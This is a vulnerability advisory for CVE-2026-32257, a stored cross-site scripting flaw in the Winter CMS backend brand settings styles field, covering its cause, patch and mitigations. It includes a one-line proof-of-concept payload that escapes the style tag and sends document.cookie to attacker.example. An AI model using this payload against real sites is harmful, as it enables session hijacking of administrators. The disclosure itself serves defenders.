high · 8.1CVE-2026-32257Aug 12, 2026

CVE-2026-32257: Winter CMS Stored XSS via Backend Brand Settings Custom Styles

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

An admin with permission to customize the Winter CMS backend appearance can inject a JavaScript payload into the custom styles field that runs on every backend page for every user.

Packagewinter/wn-backend-module
Ecosystemcomposer
Affected<= 1.2.12
Fixed in1.2.13
CVE-2026-32257: Winter CMS Stored XSS via Backend Brand Settings Custom Styles

The problem

The Brand Settings page (Settings → Customize Backend → Styles) lets users with the backend.manage_branding permission supply custom LESS CSS. The compiled output of that CSS was written directly into a <style> block on every backend page without any sanitization.

An attacker who holds this permission can break out of the <style> context with a closing tag and append a <script> block. Because the block is rendered on every page load, the payload runs for every logged-in backend user, including super-admins, making session hijacking and privilege escalation realistic follow-on attacks.

The same unsanitized rendering path also affects Editor Settings → Markup Styles (backend.manage_editor permission).

Proof of concept

A working proof-of-concept for CVE-2026-32257 in winter/wn-backend-module, with the exact payload below.

html
</style><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>

The compiled LESS output was written into the HTML response as a raw <style> block with no tag stripping or HTML encoding. Supplying </style> as part of the input terminates the style block early, and anything after it is parsed as HTML. This is a classic CSS-context breakout, CWE-79.

The patch (commit d28f0b9) strips HTML tags from the compiled CSS before it is rendered into the page, so even if a closing </style> survives LESS compilation, it is removed before the output reaches the browser. The identical root cause was confirmed in the sibling October CMS codebase as CVE-2025-61676.

The fix

Upgrade winter/wn-backend-module to v1.2.13 or later. If an immediate upgrade is not possible, apply the patch from commit d28f0b9474af79cfaa80eeb9d691f7a7c4469720 manually, and restrict the backend.manage_branding and backend.manage_editor permissions to fully trusted administrators only.

Reported by Nakkouch Tarek.

References: [1][2][3]

Related research